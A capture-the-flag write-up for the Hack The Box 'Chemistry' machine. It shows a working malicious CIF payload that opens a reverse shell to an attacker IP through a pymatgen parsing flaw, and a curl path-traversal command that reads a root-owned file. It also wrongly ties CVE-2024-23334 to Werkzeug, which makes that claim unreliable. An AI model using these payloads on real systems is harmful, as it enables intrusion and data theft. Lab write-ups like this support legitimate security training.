HTB Chemistry Write-up

Category: Linux Difficulty: Easy

Initial Recon

Machine IP: 10.10.11.38

NMAP Scan Results

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-10 04:08 EST
Nmap scan report for 10.10.11.38
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
5000/tcp open  upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=11/10%Time=6730781A%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,38A,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.3
SF:\x20Python/3\.9\.5\r\nDate:\x20Sun,\x2010\x20Nov\x202024\x2009:08:42\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20719\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=
SF:\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"wid
SF:th=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Chemi
SF:stry\x20-\x20Home</title>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\
SF:x20href=\"/static/styles\.css\">\n</head>\n<body>\n\x20\x20\x20\x20\n\x
SF:20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20<div\x20class
SF:=\"container\">\n\x20\x20\x20\x20\x20\x20\x20\x20<h1\x20class=\"title\"
SF:>Chemistry\x20CIF\x20Analyzer</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>
SF:Welcome\x20to\x20the\x20Chemistry\x20CIF\x20Analyzer\.\x20This\x20tool\
SF:x20allows\x20you\x20to\x20upload\x20a\x20CIF\x20\(Crystallographic\x20I
SF:nformation\x20File\)\x20and\x20analyze\x20the\x20structural\x20data\x20
SF:contained\x20within\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<div\x20clas
SF:s=\"buttons\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<center
SF:><a\x20href=\"/login\"\x20class=\"btn\">Login</a>\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20<a\x20href=\"/register\"\x20class=\"btn\">R
SF:egister</a></center>\n\x20\x20\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\
SF:x20\x20</div>\n</body>\n<")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\x20PUB
SF:LIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20\x
SF:20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"Con
SF:tent-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>
SF:\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20
SF:response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400
SF:</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20
SF:version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Er
SF:ror\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20Bad\x20r
SF:equest\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20\x20\x20
SF:</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 99.25 seconds

Port 22 (SSH) is running OpenSSH 8.2p1.
Port 5000 is hosting a web application (Werkzeug/3.0.3 Python/3.9.5).

Web Application Analysis

The website at http://10.10.11.38:5000 is a Chemistry CIF Analyzer, allowing users to upload .CIF (Crystallographic Information File) files for analysis.

Initial Findings

The server runs Werkzeug/3.0.3 Python/3.9.5, which has a known RCE vulnerability (CVE-2024-23334), but I couldn’t exploit it directly.
I created an account to explore further:

Examining the Sample CIF File

The provided example file (data_Example.cif) contained basic crystallographic data but nothing exploitable:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

Exploiting the CIF Parser

After researching, I discovered that pymatgen (a Python library for materials analysis) is vulnerable to Arbitrary Code Execution when parsing malicious CIF files.

Crafting the Exploit

I modified the CIF file to include a reverse shell payload (generated using revshells.com):

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1
 
 _space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.154/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Gaining Access

Uploaded the malicious .cif file.
Clicked “View” while running nc -lvnp 4444.
Successfully received a reverse shell connection.

Privilege Escalation

User Flag

Found database credentials and cracked the hash for user “rosa” using CrackStation.
Logged in via SSH as rosa and retrieved the user flag.

Root Flag

Ran linpeas.sh and discovered a local service running on port 8080 (aiohttp/3.9.1).
This version is vulnerable to Local File Inclusion (LFI) (CVE-2024-23334).

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 5971
Date: Mon, 18 Nov 2024 17:50:28 GMT
Server: Python/3.9 aiohttp/3.9.1

Exploited it using:

curl -s --path-as-is http://localhost:8080/assets/../../../../root/root.txt

Successfully retrieved the root flag.

Initial Recon¶

NMAP Scan Results¶

Web Application Analysis¶

Initial Findings¶

Examining the Sample CIF File¶

Exploiting the CIF Parser¶

Crafting the Exploit¶

Gaining Access¶

Privilege Escalation¶

User Flag¶

Root Flag¶